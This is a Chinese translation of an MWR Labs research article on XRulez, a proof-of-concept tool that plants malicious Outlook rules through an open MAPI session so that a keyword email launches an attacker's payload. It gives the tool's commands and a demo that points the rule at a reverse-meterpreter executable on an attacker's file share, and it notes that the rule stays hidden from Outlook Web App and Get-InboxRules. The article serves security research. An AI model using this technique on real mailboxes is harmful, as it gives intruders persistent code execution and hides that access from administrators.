背景

當前，構建惡意Outlook規則的限制條件都比較苛刻，至少需要訪問被入侵系統的交互GUI，或者擁有登錄憑證，而且還要求攻擊方直接與Exchange服務器進行交互。不過MWR的一名實習生Luke Roberts最近所做的一份研究，給出了不一樣的答案，通過shell或者注入的方式來構建規則顯然就要方便多了。

2015年12月，尼克·蘭德斯在Silent Break Security網站發布了一篇題為《惡意的Outlook規則》的文章（傳送門），在這篇文章里，他討論了如何持久性地利用Outlook惡意規則。其實，在此之前就有相關的研究，比如2014年發布的這篇文章，和2008年發布的 這篇文章。這些文章都可算是此次研究項目的基礎，在您繼續往下看文章之前，您最好先閱讀一下尼克·蘭德斯在Silent Break Security發布的《惡意的Outlook規則》。

Luke已經成功構建了相應的POC，可點擊這里下載。但在此之前，不妨先繼續閱讀這篇文章，了解更多有關這款工具的信息，以及這個研究項目的具體內容。

SensePost在2016年9月1日也推出了類似的工具（點擊這里），真是英雄所見略同！在此我們也看到了不同的思路，這里我們也強烈建議大家去閱讀他們的研究。

簡介

在Outlook中設定一條規則，只要滿足相應的條件，就能在接收郵件和發送郵件的時候執行某些操作。比如說，將來自某些特定聯系人的郵件進行分類，或者如果郵件標題包含某個關鍵詞，則對郵件進行標注。另外這里所說的“執行某些操作”也可以是運行某個應用，如果能做到這一點，那么一切都變得相當有趣了。

如果我們能夠創建一條Outlook規則，目標是執行payload——發出郵件的時候即觸發這條規則，也就是說目標設備發送一封郵件，就能執行payload，是不是聽起來很不錯？

實際上，規則是存儲在Exchange服務器上的。這些規則會和所有的Outlook客戶端同步。目標設備在不同的位置登錄時，這些規則也會自動下載和執行。只要目標設備開啟Outlook并認證登錄，那么我們在不需要獲取登錄憑證的情況下，就能拿下已經開啟的會話。

這里的PoC工具名為XRulez，這是個Windows可執行程序。用它將接收信息規則注入到Exchange，這樣用戶在接收郵件時，只要滿足預設條件，比如標題中出現特定關鍵詞，就能自動運行某個應用了。

XRulez連接到Exchange服務器利用的是一條由Outlook客戶端提供的存活的MAPI會話（MAPI，消息應用程序編程接口），然后在默認接收相關信息表里創建新郵件，這是目標郵箱的存儲規則。然后填寫新創建的郵件與屬性數據，包括規則名稱、條件和操作參數。

一旦規則與Exchange同步，發送一封郵件就能在目標設備上觸發攻擊。

在未來的版本中，我們將會添加更多的條件和操作，當前POC可以配置以下的設置：

觸發條件：郵件標題的關鍵詞

執行操作：啟動應用程序、永久刪除電子郵件、終止規則

規則觸發時，如果payload應用無法訪問，就會彈出對話框告訴用戶規則無法成功執行，這可能會暴露攻擊行為。

工具使用手冊

在被感染的主機上：

1.上傳XRulez.exe到目標設備；

2.執行XRulez.exe并加上“-l”參數來查看目標系統上已安裝的MAPI配置文件列表；

XRulez.exe -l

3. 執行XRulez.exe并加上“-a”參數和所需各類參數來添加新規則；

XRulez.exe -a [--profilePROFILE] [--name NAME] [--trigger TRIGGER] [--payload PAYLOAD]

4.向目標設備發送標題含有預設關鍵詞的電子郵件，觸發預設的規則；

5.等Shell吧

XRulez在添加新規則時，需要設置四個參數：

1.[--profilePROFILE]配置文件名稱：Outlook的配置文件名，已安裝的配置文件可以使用“XRulez.exe -l”命令來查看

2.[--name NAME]規則名稱：規則的描述名稱，例如“垃圾郵件過濾”

3.[-- triggerTRIGGER]觸發規則的關鍵詞：這個關鍵詞將會在收到郵件的時候在標題字段中被檢索

4.[--payloadPAYLOAD]payload路徑：條件滿足時，被執行的應用程序的路徑

XRulez會在“%APPDATA%MicrosoftOutlook”這個目錄下的.xml文件中尋找Outlook的配置文件，它也會提供這些文件的最后修改時間，而且會基于這些修改時間給出Outlook配置文件的選擇建議。.xml文件只在Outlook關閉的時候更新，如果用戶切換郵箱賬戶，可能會有些小麻煩。不過大多數的用戶只有一個叫“Outlook”的默認配置文件。

惡意規則成功建立后，XRulez就可以從目標系統中刪除了。

payload應用可以任何形式通過ShellExec正常啟動。應用格式可以是.exe, .bat, .vbs，但不包含.ps1文件，因為它們在默認情況下是用記事本打開的。

由于MAPI是和架構相關的，針對32位和64位系統有不同的版本。所以在運行XRulez.exe之前，首先就要明確版本是否正確。這樣XRulez才能正確運行，否則，可能會彈框提示“MAPI無法找到Outlook客戶端”。

限制

Outlook必須是在目標設備上打開的，否則，就不會有會話分享出來，也就無法連接Exchange；

Outlook是使用ShellExec來打開payload程序的，這意味著payload不能帶參數執行，這就要求payload必須是磁盤上或者外部的所有封閉的應用程序。

利用演示

假設：

我們已經拿下了目標設備，且已經得到了一條meterpreter會話，現在我們來尋找維持持續訪問的方法；

Outlook與Exchange服務器有一個已經通過驗證的會話；

目標可以訪問一個我們可以寫入的文件共享；

我們可以正常發送郵件到目標Exchange賬號。

1.首先，我們生成一個能反彈meterpreter的payload，并將此payload放置到一個開放的Samba文件共享空間中。

root@kali:/share# ls

payload.exe

2.XRulez.exe已經被上傳到目標設備上了，并且在Windows的命令行中帶“-l”參數執行POC，這樣將會顯示安裝在系統上的MAPI配置文件。

C:demo>XRulez.exe -l

__ ________ _

/ /| ___ | |

* / | |_/ / _ _ | | ___ ____

/ | / | | | || | / _ |_ /

/ /^ | | | |_| || || __/ / /

/ /_| _| __,_||_| ___|/___|

- Exchange Rule Injector

[XRulez] Running profile lookup

Outlook, Last Accessed 32 minutes ago. (Suggested)

3.現在，我們獲悉了配置文件名為“Outlook”，我們可以用“-a”參數來添加一條新規則，payload的路徑則指向我們的文件共享。

C:demo>XRulez.exe -a --profile Outlook --name ACME Corp: Spam Filter --trigger spam --payload \192.168.28.129sharepayload.exe

__ ________ _

/ /| ___ | |

* / | |_/ / _ _ | | ___ ____

/ | / | | | || | / _ |_ /

/ /^ | | | |_| || || __/ / /

/ /_| _| __,_||_| ___|/___|

- Exchange Rule Injector

[XRulez] Adding new rule

With Parameters:

profile = Outlook

name = ACME Corp: Spam Filter

trigger = spam

payload = \192.168.28.129sharepayload.exe

[Info] It looks like Outlook is running, continuing...

[Info] Opened folder: 'Inbox'

[Info] A new message in the associated message table has been created

[Info] Message has been populated with properties and synced with Exchange.

4.一條Outlook規則就這樣成功創建了，Outlook客戶端與Exchange同步，下載我們的規則可能需要一點時間。

　　*MFCMAPI：是Exchange服務器的管理工具

我的目標是將一封郵件添加到默認接收文件夾中的相關聯的內容表當中，相關聯的內容表也就是數據存儲所在的位置，但它不屬于主要的內容表（你平常的郵件存儲在主要的內容表），這里存儲的數據包含你的偏好數據、郵件管理數據和規則數據。

首先，我從.msg文件成功導入了惡意規則條目，一個帶有條件和操作的測試規則被成功創建。通過來自MFCMAPI的代碼，將.msg文件導入到相關聯的內容表中，也就在Exchange服務器上創建規則了，這應該就算得上首個基本完成的POC了。

第二步

接下來一步就是，在規則被導入的時候，我需要能夠設定字段值為任意值（規則名稱、觸發關鍵詞、觸發應用程序的路徑）。

導入.msg文件時，會對可變長度屬性的長度和長度值進行驗證。這意味著，如果字段被修改，長度必須重新計算，長度字段也會被更新。雖然要在POC中在規則創建時對此進行修改也是可行的（也許并不困難），但我還是選擇導出設置為最大長度的規則。這就省去了長度屬性的麻煩。

　　*MSG文件：用于生成所需屬性的規則模板

在此使用自定義名稱，標題關鍵詞觸發和應用程序路徑來添加一條規則。然而，依賴于外部模板MSG文件并不理想，并且出現了另一個敗筆，就是它會遺留一個日志之類的文件，可能被發現。那么，我們下一步就是要研究如何脫離這種依賴關系，在運行時生成所需數據。

這需要我們更加仔細地觀察MAPI表項的結構。MAPI表項是由一個長長的屬性列表構成的，這其中比較有趣的是PR_RULE_MSG_ACTIONS屬性。這個屬性包含了Outlook用來處理規則的二進制數據——這正是我需要編輯的，用以改變規則名稱、觸發條件和應用程序路徑。不過，首先我需要找到導入數據的不同方法。

第三步

在MSDN上有一段代碼展示了如何修改接收特定郵件的敏感度來創建一個規則（傳送門），這段代碼是通過手動設置關鍵屬性和在規則表中添加一個行起作用的。這基本已經能夠達到目的了，似乎已經充滿了希望，但是我在測試中卻遇到了關于設置PR_RULE_MSG_ACTIONS屬性的問題。該屬性的描述文檔談到，這是客戶端生成的不透明blob，但它也會被用于驗證。當字段為空白或者設置有誤的時候，Outlook將會無視這條規則，并且將其刪除。

回首之前導入.msg文件的這種方法，我在表中創建一個空白的郵件，將文件中的屬性（包括PR_PROVIDER_DATA）導入到一個數組中，再從數組中把文件屬性復制到空白的郵件當中，而不是在規則表中添加一行，我重復執行這個操作。不過要從文件中讀取屬性，我還嘗試用有效數據生成我自己的屬性數組。用這種方法，數據也會被接受，Outlook能夠正常讀取和處理規則，這意味著，模板文件不再需要，這個步驟也能在內存中完成。

　　*屬性：存儲在消息關聯內容表中的條目屬性

在應用測試中，我發現Outlook用來顯示的規則屬性和Exchange所用的屬性是不一樣的，例如，Outlook是使用PR_RULE_MSG_ACTIONS來存儲規則名稱的，而Exchange使用的卻是PR_RULE_MSG_NAME，如果將屬性設置為空，那么規則自然就出錯了，但Outlook仍然能夠正確處理。

這樣一來，無論是Outlook Web App（Exchange服務進行交互的web界面），還是在Exchange管理控制臺中的Get-InboxRules都不會顯示該規則的存在性，而只會提示通用錯誤。所以，要創建腳本來檢查規則的存在性是有難度的。

* 參考來源：MWR Labs，本文由SkyMine編譯，轉載請注明來自FreeBuf.COM